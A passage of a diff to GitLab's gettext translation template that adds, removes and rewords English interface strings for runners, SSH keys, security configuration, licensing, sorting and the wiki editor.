+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
